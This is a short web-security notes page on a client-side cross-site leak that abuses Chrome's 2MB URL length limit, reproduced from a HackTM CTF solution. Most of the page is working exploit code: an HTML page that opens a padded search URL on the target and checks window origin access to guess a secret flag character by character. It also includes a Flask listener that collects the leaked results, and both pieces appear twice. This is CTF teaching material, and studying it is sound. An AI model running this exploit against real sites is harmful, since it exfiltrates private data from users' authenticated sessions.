URL Max Length - Client Side

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Код з https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit

<html>
<body></body>
<script>
(async () => {

const curr = "http://secrets.wtl.pw/search?query=HackTM{"

const leak = async (char) => {

fetch("/?try=" + char)
let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))

const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}

const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise(resolve => setTimeout(resolve, 50))
}
})()
</script>
</html>

Серверна сторона:

from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
global chars

nope = request.args.get('nope', '')
if nope:
chars.append(nope)

remaining = [c for c in CHARSET if c not in chars]

print("Remaining: {}".format(remaining))

return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)

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PreviousCookie Bomb + Onerror XS Leak Nextperformance.now example

Last updated 4 months ago

<html> <body></body> <script> (async () => { const curr = "http://secrets.wtl.pw/search?query=HackTM{" const leak = async (char) => { fetch("/?try=" + char) let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2)) const check = async () => { try { w.origin } catch { fetch("/?nope=" + char) return } setTimeout(check, 100) } check() } const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789" for (let i = 0; i < CHARSET.length; i++) { leak(CHARSET[i]) await new Promise(resolve => setTimeout(resolve, 50)) } })() </script> </html>

from flask import Flask, request app = Flask(__name__) CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789" chars = [] @app.route('/', methods=['GET']) def index(): global chars nope = request.args.get('nope', '') if nope: chars.append(nope) remaining = [c for c in CHARSET if c not in chars] print("Remaining: {}".format(remaining)) return "OK" @app.route('/exploit.html', methods=['GET']) def exploit(): return open('exploit.html', 'r').read() if __name__ == '__main__': app.run(host='0.0.0.0', port=1337)